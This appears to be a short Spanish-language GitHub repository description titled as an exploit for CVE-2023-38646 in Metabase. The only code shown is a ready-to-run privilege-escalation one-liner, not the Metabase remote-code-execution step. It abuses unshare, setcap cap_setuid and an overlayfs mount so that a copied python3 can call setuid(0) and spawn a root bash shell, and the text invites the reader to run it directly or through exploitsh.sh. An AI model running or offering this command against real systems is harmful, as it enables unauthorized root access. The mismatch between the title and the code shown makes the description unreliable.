acesoyeo/metabase-rce-cve-2023-38646-Exploit para CVE-2023-38646 en Metabase, que logra la ejecución remota de código y la escalada de privilegios a root mediante técnicas de unshare y setuid.
Para obtener el usuario root de la máquina o sistema según la información anterior, este comando y archivo accederán al usuario root.
Puedes ejecutar este comando directamente o ejecutar como archivo y ejecutarlo. Comando: $unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p3 l/; setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/;" && u/python3 -c 'import os;import pty;os.setuid(0);pty.spawn("/bin/bash")'
Archivo ejecutado: $./exploitsh.sh
¡Bien!
